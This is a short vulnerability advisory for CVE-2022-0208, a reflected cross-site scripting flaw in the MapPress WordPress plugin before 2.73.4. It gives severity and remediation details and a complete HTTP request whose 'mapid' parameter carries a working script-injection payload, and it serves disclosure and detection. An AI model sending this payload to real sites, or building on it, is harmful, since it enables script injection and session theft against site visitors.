| Title | WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04312 |
| CVE ID | CVE-2022-0208 |
| CWE ID | CWE-79 |
| Tags | cve2022 cve mappress xss wordpress wp-plugin wpscan mappresspro vuln |
WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the ‘mapid’ parameter before outputting it back in the “Bad mapid” error message, leading to reflected cross-site scripting.
GET /?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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